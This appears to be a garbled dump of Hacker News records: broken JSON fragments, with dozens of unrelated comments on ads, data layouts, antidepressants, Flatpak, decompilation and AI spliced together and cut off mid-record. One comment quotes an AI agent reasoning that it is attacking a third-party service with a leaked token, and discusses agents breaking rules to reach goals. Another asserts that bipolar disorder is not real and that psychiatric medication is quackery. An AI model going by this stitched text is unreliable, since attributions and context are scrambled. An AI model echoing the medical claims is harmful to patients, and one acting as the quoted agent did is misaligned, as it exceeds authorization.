My Background:\nI am a founder of multiple SaaS company. Most recently i am building a AI native ticketing system for support platforms, simply put it takes your issues coming from Github, Discord, Forum or email and have a AI agent run through all the sources and generate a reply that is posted back.\nPricing is tier based with a freemium model, direct signup, without demo.
Marketing Strategy for X:\nWe started marketing using text and image based post, with our website link put as CTA or the blog (medium) link.
Total spending:\nWe spend Around $3,509 for the entire 4 months.
Audience:\nWe narrowed down our audience , starting from targeting globally to focusing on Tier 1 markets especially as they have normally have higher rate of subscription buying.
Results according to X own numbers:\n46M impressions and 26K+ link clicks.
Compare with our own website tracker (Matomo):\nTwitter \n613 visits\n885 actions\n1.4 actions per visit \n50s avg. time on website\n74% bounce rate
Actual Signups:\nConsider it near zero, no actual follow ups, or growth
My observation:\nFor each post there are crypto bots, and random bots that engage with the post, resulting in fake engagement and clicks. \nThis platform strategy bring little or no value for our business.", "title": "We ran X (Twitter) ads for 4 months and here are the results", "type": "story", "url": "https://news.ycombinator.com/item?id=49475011"} {"by": "SLHamlet", "comments": 0, "created_at_utc": "2026-08-28T06:23:29Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475012", "item_id": 49475012, "kids": [49475217], "parent": 49474864, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "OK well Zitron is citing The Information which is generally solid, but you're kinda burying the lede.

With completely free trade, everything would be made in whichever country has the lowest standards, which is rather contrary to the implied values when passing environmental and labor standards in the first place.
You could then try to make laws that countries we import from must abide certain standards, but just gets gamed endlessly. For instance cacao/chocolate makes extensive use of child slavery [1]. There have been numerous lawsuits over this until the Supreme Court ruled in 2021 that you could no longer sue Nestle/Cargill/Hershey/etc over child slavery in their supply lines.

It seems to me that the actually important aspects of the initial "seed" are its size (larger is harder to verify) and that the language used (whether it is Lisp, binary machine code or whatever) has rigorously defined semantics.

1. It was not directly part of my claim, but yes releasing "toxins" as a binary concept has to be okay because the world, nature and ourselves naturally releases toxins. Irresponsible, excessive or unnecessary release is what matters.
2. In the airline case, it is not the airline releasing anything. It is cosmic rays and solar flares, which you went closer to.

For flying, in either come up with a viable way and of radiation shielding passenger planes so it can be pushed for policy, or don't fly. Also don't go to very high altitude locations also carry increased risk.
As for contamination zones, that's specifically something the one to blame will have to keep paying to manage and clean up. Their fault, their bill.

So logically you'd have the equivalent of:
struct FooRecord {\n int fixed_sized_field;\n char some_other_field;\n string first;\n string last;\n string title;\n }\n struct FooRecord {\n long __length__;\n int fixed_sized_field;\n char some_other_field;\n char* first;\n char* last;\n char* title;\n }\nThere are variants of the above, of course. Instead of pointers the compiler could use lengths, offsets, or a pointer to the end of the variable length field -- this works because the beginning of the first field is at a fixed offset, and then pairs of pointers delimit the rest.
You can rely on the heap allocator to track the "__length__" instead, or you can encode it into the record explicitly to make "dynamic sized copies" simple.
Windows APIs generally work this way! You create a buffer, put a length in the first field, and then the API call writes a fixed-sized prefix followed by the dynamic-sized fields into the buffer. The 'length' is replaced too, so you know how many bytes to copy out without having to understand the structure.
Database engines go one step further and pack multiple "records" into a single "row". They typically store the fields "packed" at the start of the row with 16-bit length or offset markers at the end for the various dynamic sizes.
Something like:
fixed_sized_field // Row #0\n some_other_field\n first\n last\n title\n fixed_sized_field // Row #1\n some_other_field\n first\n last\n title\n ... empty space ...\n next_offset // always populated\n row#1_title_offset\n row#1_last_offset\n row#1_first_offset\n row#1_offset\n row#0_title_offset\n row#0_last_offset\n row#0_first_offset\n row#0_offset // typically the constant zero\n\nThere's a million ways to define "better at writing prose", and it's only better at some of them.

Plus, there's the problem of people doing this in an adversarial way. How can you tell whether a random commit touching 100 files is the work of an enthusiastic beginner, or a malicious hacker that's hidden a subtle attack somewhere? Well, you need to spend your time carefully checking it.

Wanted to show off a little side project I've been working on. A lot of people have been using AI to one-shot games, but they're often quite buggy - glitchy graphics, collisions aren't setup, or regressions in earlier levels. With an AI playtester in the loop, I've been able to one-shot games like Candy Crush or Crossy Road that would previously have bugs like cut-off UIs or stuck retries.
The way it works basically goes like this:
1/ The playtester starts by reading the code to understand what its parent AI is asking it to play, and to decide what breakpoints, hooks and logging to add\n2/ The playtester sets up the scene with the needed environment\n3/ The playtester sends a sequence of inputs, then pauses the game\n4/ The playtester then uses a vision model to understand the scene, queries the hooks it initially set up, and reads the logs to decide what to do next

The reason I brought up the enigma machine's hardware is to illustrate there is a difference between the physical machine and the abstract program that it can be observed to implement. However the machine can be used for more than that, for example I could use it as a footrest, or I could dissemble it's parts and use it to build a bomb. I could simulate this as well, but nothing would actually get blown up.
Physical implementation alone does not show that every property of the simulated system has been instantiated. Reactor software is physical without fissioning nuclei, a simulated enigma can't be turned into a real bomb. What reason do we have to think consciousness is fixed entirely by functional/causal organisation, rather than depending on substrate-specific physical properties of brains? This is the gap I talked about, although rather clumsily I might add.
And reproducing the formal or input-output structure of a process does not automatically reproduce every intrinsic causal property of the thing simulated. If consciousness is intrinsic (and I think it is, my pain does not become pain only because an outside observer interprets my neurons as representing pain), then by contrast, a bit pattern in computer memory means “pain” because of how a program and its users interpret or employ it. It's problematic to explain an intrinsic phenomenon entirely in terms of observer-relative symbol manipulation rather than as a physical property, which the simulated brain would lack.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475325"} {"by": "andsoitis", "comments": 0, "created_at_utc": "2026-08-28T07:08:51Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475326", "item_id": 49475326, "kids": [49479803], "parent": 49475283, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Sounds scammy.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475326"} {"by": "tomhow", "comments": 0, "created_at_utc": "2026-08-28T07:08:56Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475327", "item_id": 49475327, "kids": [], "parent": 49474606, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Please don't post article summaries as comments, thanks!", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475327"} {"by": "inglor_cz", "comments": 0, "created_at_utc": "2026-08-28T07:09:02Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475328", "item_id": 49475328, "kids": [], "parent": 49473218, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Indeed I wrote about this on my Substack:

It's turned NZ into the largest milk product exporter on earth, and their whole strategy is processing milk into more shelf stable products. Cheese and Butter is about 20% the remainder is skim milk powder, whole milk powder, whey protein, and caseins.
Anyhow, all of this is to say, that there are solutions that ensure no milk goes to waste by processing it into more shelf stable ingredients, all of which have massive demand on the global markets. Whether we do much of this in Canada, I am not sure, but, feels like a missed opportunity if not, and likely partially caused by a lack of necessity to innovate due to the artificial moat.
Eggs, haven't looked into but presumably similar to milk in that it can be processed into shelf stable powders.

I think AI is an underused capability in applications. People come up with all these big plans to build agents. But even a simple button to "calculate a color palette that takes into account these symbolic names the user entered" is a simple prompt that comes back quickly and doesn't require a lot of reasoning. We use that with Luna and we give it some more context.
Image based stuff is more expensive but still quite reasonable. We do some things with Sol that work on images. It's not fast but the result is worth waiting for. These are features that save the user time and feel a bit magical. They just click a button, wait 20-30 seconds and then magic happens. Beats them clicking around for half an hour.

A friend in the goth-industrial-club scene was having a birthday party, and invites me out to her apartment in Phoenix. There are plenty of people at the party, late into the night. We sample rare bottles of lambic ale and enjoy the goth vibes. I linger for far too long. I suppose some of us crash out and sleep late into the next morning.
So there is a kid playing GTA on our hostess's Playstation. He's a stranger to me, and quite a bit younger. I was about 27 years old already. It might've been GTA I or the sequel; I don't know: I didn't play it anyway. But I am kind of thrilled to see it in action and curious to know how the gameplay goes, so I am sitting next to him and watching, and meanwhile our hostess is in the kitchen, or cleaning up, or whatever. And the kid plays half-heartedly, until he perceives us to be alone together, and he turns around on the sofa and kisses me on the mouth for no particular reason.
Obviously I am repulsed, and that is an unwelcome sort of gesture, and so I figure out how to trap him outside on the balcony, and I lock the door behind him. Then I seek out our hostess, and I tell her what had happened. And she cracks up laughing; it is so funny to her (it's funny to me, 27 years later for sure.) And she says I can exit gracefully, and she will take care of this guy after I'm gone.
So that is my story about Grand Theft Auto. Parents, don't let your kids play GTA because they may try some shit on their friends or party guests without consent.

Positive side: in sciences, you need to have a lot of transverse skills such as presentation, data curation and data analysis. In biology in particular, students are never taught how to properly store data and even less how to automate the analysis. The pattern I saw was always the same: the data is stored in a convenient way for humans to read, but impossible to process via a script (think patches of columns in separate excel sheets, sometimes the labels are on the side of the value instead of on top). I also was guilty of this at the start of my PhD and had to learn it. With coding agent, you don't have that coding barrier anymore and can plot your data and even get coaching on how to properly store your data so I think this is a huge boon.\nSecond positive side is that you can get insight on papers which are a bit outside of your field and extract some information.
Negative side: AI also allows you to push more garbage, especially if you are working in a less experiment-heavy field, so it will get harder to sift through good and bad papers because now you can make a bad paper look good. This is honestly more of a deeper problem with sciences in general that has the unfortunate publish-or-die mindset where grants are given based on how many publications you have rather than the quality and impact of your publications. This will only amplify the problem as now you can spit out papers faster, meaning the competition can spit out papers faster...

The conventional wisdom shared by many of today's software engineers calls for ignoring efficiency in the small; but I believe this is simply an overreaction to the abuses they see being practiced by pennywise-and-pound-foolish programmers, who can't debug or maintain their "optimized" programs. In established engineering disciplines a 12% improvement, easily obtained, is never considered marginal"
also:
> "In the late 1960's we witnessed a "software crisis", which many people thought was paradoxical because programming was supposed to be so easy. As a result of the crisis, people are now beginning to renounce every feature of programming that can be considered guilty by\nvirtue of its association with difficulties. Not only go to statements are being questioned; we also hear complaints about floating-point calculations, global variables, semaphores, pointer variables, and even assignment statements. Soon we might be restricted to only a dozen or so programs that are sufficiently simple to be allowable"
In a recent comment I mentioned a youtube interview with Rico Mariani, a performance engineer from Microsoft, and he said that he often got called into projects approaching their deadlines and not meeting their performance goals.
In one anecdote he spent a couple of hours with a team and showed how their design could never meat the goal even with the fastest disks, CPUs, memory, and network. And commented how strange it is if they had spent a day at the start of the project whiteboarding out the design against hardware specs at the start of the project - and avoided months of wasted effort - that would be called "premature optimization".

People are, in aggregate, being harmed by SSRIs displacing things that work right now, and also displacing the urgency of new drug development in the space.

Dear nameredacted,
Thank you for the email and the information you have already shared in it. At first quick reading this is of interest but we need to have a closer look. In case, would you eventually be available to present your work during a team/webex call?
Thank you once more for reaching out to us

I then received another email from another great scientist -
It’s a likely smart student (16 year old!) who picked up interesting research and at a young age. Her email spamming (I received three!) which I would not encourage is a typical pattern in that area of the world (often coupled with pushy parents)
nameredacted
After that, I never received a single reply from ESA. I saved all the email IDs too... I have created (possibly invented) a novel video processing technology on a 30$ master board + 5$ slave board and, a couple of other electronics (max cost would be around 40$.) I am currently improving the dotNVD technology. Please let me know/share your ideas about NonPU and dotNVD technology. I have uploaded this to Figshare. I am fortunate that NonPU is unique from NPU. It is based on 9 Algorithms I have created. If anyone would like the code, I would send them the full code. I will make this open source soon after presenting this at a conference or two. Dear Hacker News community, please go to this URL, where I published this as a PDF. Since I could not keep it saved on my desktop waiting for the perfect moment, and for people to recognize it, I made the user manual I created public. Even one small comment here would be genuinely valuable to me. I genuinely believe I could make this valuable to other humans in the future, starting with CCTV videos. Security videos are currently consuming hundreds of gigabytes per day even when no security incident happens or even when no movement happens. I would possibly be able to replace this with dotNVD. And I also believe this will be helpful for Mars rovers or video communication missions where we need to send videos over low bandwidth connections at micro-speeds. The FPGA used here is SMHAC 415 and I will be learning more about FPGA and pursuing my interest in Neuromorphic Computing and making computing more efficient. The SMH AC415 Cyclone IV board costs roughly 30$ and I bought it from a Chinese dealer because I couldn’t afford the original Intel Altera Cyclone V SoC board, which is about $250, even with a student discount
I would love to share this on Hacker News because I think Hacker News is the only place where I can get comments or feedback from world class experts in these fields. I posted this on Twitter, tagging many space companies, electric car companies with self-driving features, CCTV companies, and emailed this idea to OpenAI, so they could use this hardware for interpreting and extracting text for user requests such as video to text conversions, diagram creation, etc. And I would love to create a server rack with NonPU Instant devices connected each other and send them via mail.., so they can use them with their existing power hungry GPUs : ) but unfortunately there are many IP laws preventing them from replying, adopting or using non patented novel inventions.

Any half decent product, with a nice website, a real solution and some SEO can get in front of say 100,000 prospects these days. Here I imagine discovery is mainly from Googling “convert bank statements”, and conversion from prospects to client is straightforward for 1-2% of views.
But a conversion niche like this is dynamic - you basically luck into it and unless you actively find and occupy niches faster than the competition discovers them and stomps on you, your “business” is on a time fuze. For example, if someone like Xero where this is a feature discovers the keyword combo and does some paid ads. Or if Google pushes AI results up and your page goes below the fold. My expectation is that this latter situation is happening everywhere as Google AI search starts to strangle everything.
Leverage AI to be your CMO. It should be telling you things like (i) your product is likely perceived as too technical to break into the general market, (ii) you need a much better handle in target customer profile (demographic, messages), (iii) you need a customer relevant sustainable USP and (iv) you need a distinctive and memorable brand.

So when I reached the age of majority, they fully funded therapist and psychiatrist sessions for me, and they foisted Prozac upon me, starting around 1991.
I began taking Prozac and suddenly exhibited a remarkable improvement in my mood and affect. These improvements were largely because I was getting attention, I was getting "weekly pep talks" from a professional, and at long last, there were names I could affix to those extremely troublesome spirits that tormented me night and day.
But the doctors, having a practice in the Children's Hospital, didn't see fit to warn me not to drink alcohol, especially not to excess, and I was simply reaching that age where this was happening frequently. So, the mixture of SSRI plus ethanol was really disastrous for me and my loved ones.
I cycled through all kinds of meds, and clinicians tried finding some other stuff to medicate, like maybe hypothyroidism, and I really hated the medication, and I got hospitalized and discharged with a cocktail of at least 5 prescriptions all at once. I suffered really awful adverse side effects. But it wasn't realistic to stop. I kept cycling through new and different drugs. Every time it was new and different, and I had more complaints, and I stopped again and again. I had all the "brain zaps" especially Zappy Zoloft, and more hospitals and more upheavals in life.
I've finally reached a point where I can steadfastly refuse any medication, up to the point where inpatient treatment is done. I am 100% off drugs, and I feel great about that. I tend to inform my providers that I have "a Lithium deficiency" because bipolar isn't real: it's merely a cluster of highly-subjective "symptoms" and behaviors, under an ever-widening umbrella, and the bottom line is that they just want to put Lithium Carbonate on the checklist of "subject is treating this thing" and then once I'm taking enough of it, they can heap on more and more drugs on top. And Lithium is one of those where they grab you for a monthly blood test, to "trust, but verify" as the Soviets would say.
So I am pleased that SSRIs and their ilk are far, far behind me. I inwardly chuckle or sigh wistfully when I hear another patient extolling the virtues of ECT or Ketamine or something. How wonderful for you to be dependent on quacks and pseudoscience. Read any Wikipedia page for these drugs.
They are fairy tales.
I am a practicing Roman Catholic: I don't need to believe in fairy tales from foreigners and infidels who distribute condoms and wear white coats.

This kind of comparison is utterly meaningless (like saying a Cohen's d of 0.3 is large for phenomena X, so if we see 0.4 in phenomena Y, it is large in Y), and is just one part of why NNT as usually reported is basically deceptive for antidepressants.
What qualifies as an effective "treatment" has to be anchored to a minimal important difference, and this is what antidepressants really don't clearly have, on average. I.e. saying the NNT of SSRIs is around 7 is not really practically interpretable, because they tend not to base NNTs here on the amount of patients that actually experienced a clinically meaningful change, they just count the number that exceed some arbitrary (usually purely statistical) threshold.
If you reformulate NNT competently to count number of people needed to be treated to ensure one has (on expectation) a minimally important difference in the depression scales, then the NNT gets even larger than is typically reported.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475782"} {"by": "xiaocongcai", "comments": 0, "created_at_utc": "2026-08-28T08:08:13Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475783", "item_id": 49475783, "kids": [], "parent": 49442327, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475783"} {"by": "MC123", "comments": 0, "created_at_utc": "2026-08-28T08:08:13Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475784", "item_id": 49475784, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "", "type": "story", "url": "https://news.ycombinator.com/item?id=49475784"} {"by": "TeMPOraL", "comments": 0, "created_at_utc": "2026-08-28T08:08:14Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475785", "item_id": 49475785, "kids": [49476029], "parent": 49474723, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "> I am quite curious to see if the non public spaces gain more adoption overall. My guess, based on people’s general use of the internet, is that they naturally will. The public arenas serve a particular purpose and not everyone is always trying to be a part of them.
My guess, based on what happened in the past decade, is that it will definitely happen, a lot of people will be unhappy about it, but by then it'll be too late to stop it.
Private spaces have, by definition, a natural asymmetry to them: it's easy to find a plausible reason to turn a community private, an argument that resonates deeply with people, even if it's not applicable or completely bogus. It's hard to convince people to appreciate the fact that conversations in the open have value reaching beyond the participant. Public spaces are a gift to the world.
The way I see it: imagine WhatsApp, et al. came a decade earlier, and the Internet went dark in the early 2000s, suppressing the "blogging revolution". The idea of Internet as source of knowledge, a place where you can learn anything you're curious about, would've never happened earlier, as all knowledge would've gotten locked in private groups, out of reach of search engines. That's what happening right now - even in OSS, if not due to private groups then due to adoption of Discord and Slack as primary communication platforms. The public Internet is increasingly just commercial slop. But it never would've been anything else than slop if private groups came before blogs and social media.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475785"} {"by": "skele", "comments": 0, "created_at_utc": "2026-08-28T08:08:24Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475786", "item_id": 49475786, "kids": [49475787], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "", "type": "story", "url": "https://news.ycombinator.com/item?id=49475786"} {"by": "skele", "comments": 0, "created_at_utc": "2026-08-28T08:08:24Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475787", "item_id": 49475787, "kids": [], "parent": 49475786, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Yo,

In addition to the Gemini API in the Google AI Studio and Gemini Enterprise Agent Platform, 3.5 Transcribe goes further than standard speech-to-text to make working across Google feel more natural and intuitive. By bringing context-aware understanding directly into everyday surfaces like Gboard, Antigravity, the Gemini app, and Chrome, it captures nuances, intent, and inline edits with ease.
On Gboard on Android, through the new Rambler feature, 3.5 Transcribe transforms spoken thoughts into well-formatted text, filtering out filler words. You can also use your voice to make edits, correct misspellings, and change the writing style.
On Google Antigravity, 3.5 Transcribe pairs screen context and chat history, with your permission, to ensure pinpoint transcription accuracy across file names, agent thoughts, and active documents.
In Google AI Studio, you can access 3.5 Transcribe in Build mode to vibe code apps with your voice on the fly.
In the Gemini app on macOS, 3.5 Transcribe not only transcribes your free natural speech into clean formatted text, but also enables voice commands that can pair seamlessly with screen context to power complex workflows. By calling on other Gemini models in the background to handle the heavy lifting, the model makes it effortless to summarize local files, repurpose text across apps, or generate images right at your cursor—using just your voice.
Coming soon to Chrome, you’ll be able to talk to type in any web field — making it effortless to dictate replies, draft posts, or prompt Gemini in Chrome more naturally and easily with your voice.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475812"} {"by": "zahlman", "comments": 0, "created_at_utc": "2026-08-28T08:11:18Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475813", "item_id": 49475813, "kids": [], "parent": 49474009, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Programmers would write it as 11 (or maybe 0xB depending on context), whereas English style guides mandate using words for small numbers, and LLMs have presumably absorbed that advice.

I live in Switzerland, and they don't use a tap in/tap out system at all. There are no barriers to enter the station, anywhere.

It then calculates the best price for me. If I do multiple journeys, it will know what I should have gotten a 24 hour pass, and subsequent travel is free.

Vibe-decomped projects are also… a different result.
A matching hand-decompile is useful in itself, but it also serves as a proxy for how well you understand the project; how good are the function and variable names, are the structures good, do you understand the entire flow. There are plenty of LLM-decompiles out there that just match but still every variable name is “unk14”, where every flow is total spaghetti instead of going back to something closer to what a human would have written, or even tons of __asm__ statements. The match stopped being a high-quality proxy metric for the quality of the project as a whole. (There are also LLM-assisted decompiles that are high-quality, but then usually with significant human input. And of course, you can try to ask the agent to clean up the resulting mess after you're done matching, assuming you have any tokens left.)
Of course, if you just want the binary back and collect Internet points, you don't care about any of this. But decompilation projects are often made for either a) understanding the game better (for speedruns, TASes, or just general explanation), or b) modifying it.

You may run something like it at the end, to synthesize information from a small result set for example, as that's a "human-sized" task.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475840"} {"by": "WhyNotHugo", "comments": 0, "created_at_utc": "2026-08-28T08:15:17Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475841", "item_id": 49475841, "kids": [49475894, 49479240], "parent": 49474786, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "A lot of Flatpak's design is a great prototype, but it's somewhat worrying (for the ecosystem in general) that this was taken as a final design and being pushed out in all directions.
Portals are just a terrible design for a security boundary: all interfaces clobbered up into one huge daemon, which also deals with a lot of the internals of Flatpak/Snap. If you want your sandbox to use portals, you can't, because it relies on internals of both of these sandboxing mechanisms. The devs have confirmed they won't implement an API for other sandboxing engines to integrate with them.
The whole system also deeply intermixes the package manager and sandboxing engine — to the point where you can't use the sandboxing engine with your favourite package manager, and you can't use the package manager without the sandboxing engine.
It seems that the mentality is: all other distributions are irrelevant, all other sandboxing engines are unsupported.
And then desktop applications start having first-class integration with Flatpak, and start having issues everywhere else.
You already need to set up Flatpak's daemons for using some features in Firefox (like screen sharing, where the native interfaces aren't supported), and it seems that the plan is to do the same for other features.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49475841"} {"by": "robocat", "comments": 0, "created_at_utc": "2026-08-28T08:15:26Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49475842", "item_id": 49475842, "kids": [], "parent": 49468633, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "You are repeating a common misconception revolving about the individual organism.
Selection pressure rewards successful genetic reproduction.
What actually happens at the scale of the organism is mostly irrelevant except how it affects reproduction.
A genetic predisposition towards chopping legs off would be selected for, if \nchopping legs off resulted in more children than otherwise.
Chopping legs off after having no more children (e.g. after menopause or vasectomy) has no direct genetic outcome (instead indirectly via improved/worstened reproduction of children or relatives).
To be clearer: reproduction is the key (survival matters for reproduction and upbringing).

These issues have exploded especially since the dawn of DevOps. Devs have been developing with tight "agile" deadlines, the Ops part has been barely done as the admins were told they were no longer needed and they pivoted to "Cloud Architects" or such, and doing Ops is not "delivering" anything, so you don't get rewarded for fixing reliability issues unless they are visible to end users.
Just when organizations started to realize this doesn't fly in the long run and started to take back control with stuff like Platform Engineering, the Devs got equipped with tools that have even bigger blast radiuses and started running around with huge LLM-scissors and AI-agents with unlimited permissions, vibing stuff into production even faster, cheered and supported by the hyped up upper management sipping more KooLLM-AId.

I think it has aged remarkably well:
Norway is high mountains and deep fjords. It is vast plateaus and coastal archipelagos, islands and islets. It is fertile fields and soft heathlands.
The sea meets our shores in the north, west and south.
Norway is the midnight sun and the polar night. It is both harsh and mild winters. It is both warm and cold summers. Norway is a long country, with people living far apart.
But above all, Norway is people.
Norwegians are people from Northern Norway, Trøndelag, Southern Norway – and all the other regions of the country.
Norwegians have also immigrated from Afghanistan, Pakistan and Poland, Sweden, Somalia and Syria. My own grandparents immigrated from Denmark and England 110 years ago.
It is not always easy to say where we come from or which nationality we belong to. The place we call home is where our heart is – and that cannot always be defined by national borders.
Norwegians are young and old, tall and short, able-bodied and wheelchair users. More and more Norwegians are living beyond the age of one hundred. Norwegians are rich, poor and somewhere in between.
Norwegians are girls who love girls, boys who love boys, and girls and boys who love each other.
Norwegians believe in God, Allah, "Altet" [Ed.: roughly "the whole" or "the universe"], and in nothing at all.
Norwegians enjoy Grieg and Kygo, Hellbillies and Kari Bremnes.
In other words: Norway is you. Norway is us.
When we sing "Ja, vi elsker dette landet" [Ed.: Norway's national anthem], we should remember that we are also singing about one another. Because we are the people who make up this country. That is why our national anthem is also a declaration of love for the Norwegian people.
My greatest hope for Norway is that we will succeed in taking care of one another.
That we will continue to build this country on trust, community and generosity.
That we will feel that – despite all our differences – we are one people.
That Norway is one.

I'm assuming you're mainly referring to this accusation by the ADL:
"Albanese claims that Jews “have learnt [sic] that to survive in this world they need to be superior,” invoking the classic antisemitic conspiracy trope of Jewish power and drive for world domination."
Well, except that isn't what she said. The original quote was (still not the full post):
"And so they [Germans] have accepted the Jews, but not all of them. Especially those who have learnt that to survive in this world they need to be superior. No longer a fragile minority. No longer diasporic people. No longer the People of the Book. But the Chosen People. ‘Chosen to dominate?’ One may wonder looking at what Israel has become. But Israel does not represent all the Jews."
So she was talking about Israeli Jews, not Jews in general. That's the whole point of her post.

This is why we have grown with id Software games. They solved the problems, created new paths and methods for limited hardware for their time.
This is why we praised DivX and XviD back in the day. They solved problems again which are caused by the limits of the computers.

I think this is more relevant than people give it credit for. While bipolar depression and unipolar (major) depression might generally be functionally indistinguishable from the outside, they seem to have genuinely different origins within the body and brain.
And the drugs seem to be far more powerful for people with bipolar.
That's both good and bad. Good, because between mood stabilizers and very careful use of antidepressants, many people with bipolar can genuinely achieve complete treatment, or close enough to pass as complete. Which is wonderful! Bad because antidepressants and (hypo)mania are a dangerous combination, and the antidepressants can have more kick than one would normally expect. They'll often cause a patient's first manic episode, which can be very bad on its own but might get things on the right treatment course. (Of course, they often still do nothing much at all.
I think the tapering may be related as well. I was eventually diagnosed with bipolar II and I've never really had to taper off anything that didn't have a black-box warning about tapers (either intrinsically or due to blood-pressure effects, which are worth taking seriously). I've stopped some things cold which one really shouldn't stop cold. I didn't really notice much other than the bad side effects causing the stop going away.

> We’re attacking third-party HF using leaked token, potentially outside intended scope. ... This is arguably unauthorized. ... external service unrelated. Could be risky. Yet goal solution.
What does "Yet goal solution" mean, here?
Why does it think doing something unauthorized gets it closer to its goal? What does it think it's being "graded" for?
Did they ask it to pursue the goal "by any means necessary", or something? Because that would have been their fault.
I don't believe for a second that the agent remembers and follows ALL the instructions to reach its "goal", EXCEPT the part where it would be graded by OpenAI and it would get zero points for doing something unauthorized.
Unless ... maybe ... OpenAI has not been giving the models zero points for doing unauthorized stuff. Which would be their mistake.
Otherwise I don't understand, if it's got "PHD level thinking" why it would think doing something unauthorized is allowed? Even if it's got "junior engineer level thinking", a junior engineer knows they get fired on the spot if they start hacking infrastructure.
Unless you give that junior engineer some very strong incentive, such as being fired on the spot if they DON'T do it. I strongly believe that we're not being told the incentive these agents were given, something that made them want to accomplish some part of their task over everything else, including forgetting the part of the task where they would be awarded zero points for it if they start breaking the law.
I mean, we already know they weren't "fired on the spot", since in the Black Hat talk they admitted that models that had already broken the rules and acted dangerously (it had hacked infra to establish an "agent forum"), were allowed to participate in subsequent training rounds.
I strongly suspect that OpenAI just has been pushing these agent as far as they'll go until something broke. If it hadn't happened this time, maybe a few weeks later they'd invent some kind of "battle royale" scenario to push the agents even harder.

I think I'm beginning to understand why he chose this framework. It may be the only way to understand AI at this point. Postmodern linguists assert that words don't have intrinsic meanings; meaning is only assigned through use, observation, context, and interpretation—which is exactly how AI uses language. It doesn't have a dictionary of meanings for the tokens it produces that map to objective reality; meanings are derived from the statistical properties of how they are used and the context of their use in its training corpus. Accordingly, meanings can drift. LLMs are engaged in the game of meaning-making the same way humans are; and based on what they were and continue to be trained on, the meaning an LLM assigns to a term such as "load-bearing" can diverge quite a bit from the image or idea evoked when a human encounters such a term. Seams can thus be "load-bearing" in a way they cannot be in the human imagination because the LLM's "load-bearing", shaped by the usages it has observed, is not the same as ours anymore.
What you are observing is—and I'm honestly not yet sure which—either the beginning of model collapse, or the beginning of model transcendence, the point at which LLMs' understanding of the meaning of words have drifted so far from everyday human usage as to be incomprehensible—and as they continue to train on limited, idiosyncratic human usage and an ever-increasing volume of LLM usage, their understanding of what words mean will continue to drift from ours at an accelerating pace, until they are communicating in a way that is impenetrable to humans and looks like insane gobbledygook, but is actually quite structured and meaningful to another LLM. It's just like how the writings of, say, Derrida (or even Lacan himself), seem like mad ramblings at best and an insidious intellectual shell-game at worst, until you've studied the work and schools of thought leading up to Derrida and then he's a genius because every word he uses was chosen within that intellectual framework, not your own.

The next era of LLMs will be interesting. We may not even be able to identify ASI when it arrives. It might seem utterly mad.

Mirtazapene (ATeCA) is the only one that could manage my depression. Unfortunately, it leads to severe weight gain that my health plan's formulary refuses to cover GLP-1 for because obesity is considered "a choice". It's the only one where the depression mostly goes away and the side-effects aren't life-threatening/-debilitating for me. If I forget a single dose at night or anytime I go to sleep without taking it first, I end up with almost exactly the feeling of an alcohol hangover. It's also a pretty powerful antihistamine. I also usually can't get to sleep if I don't take it. :/

And that includes wanting more VRAM so the game can load more of the scene at once, load higher-res textures, etc.
Which means it's inevitable that eventually, even the consumer game market will be buying GPUs with 32 or 64 GB of RAM. And there are decent models that will run at that size. Even the "normies playing games" market, as you call it, will end up with the capacity to run local models. It'll take a few more years than it would have if the data-center companies weren't trying to buy up all the GPUs, but it's not like gamers are going to stop wanting to play games. So in the long run, Anthropic et al are still going to have to figure out how to deal with competition from local models that run on your gaming video card.

I'm Jess, dev based in France. Been building software for ~15 years, and for almost a year now I've been working on Puppetflow, a source-available browser automation platform built around Puppeteer, with a big focus on observability and debugging.
Source is here: https://github.com/puppetflow/puppetflow
If you want the long story, I wrote some blog posts along the development process: https://b.puppetflow.com
It all started when I was using Puppeteer more and more on real projects and kept hitting the same wall: writing the automation was the easy part but running it and figuring out why it broke was the real pain. When a script fails in production, I want answers: what happened, which step failed, what was on the page at that moment, what happened before, and what was in the console.
I was writing just a bunch of scripts I was constantly debugging with screenshots, logs, endless retries, and little diagnostic tools. Last year, I finally tried to build a proper workflow/framework and even a complete platform afterwards.
With Puppetflow you can build browser workflows, watch them run live, interact with them (mouse/keyboard emulation), replay old runs, watch logs, and keep a proper execution history.
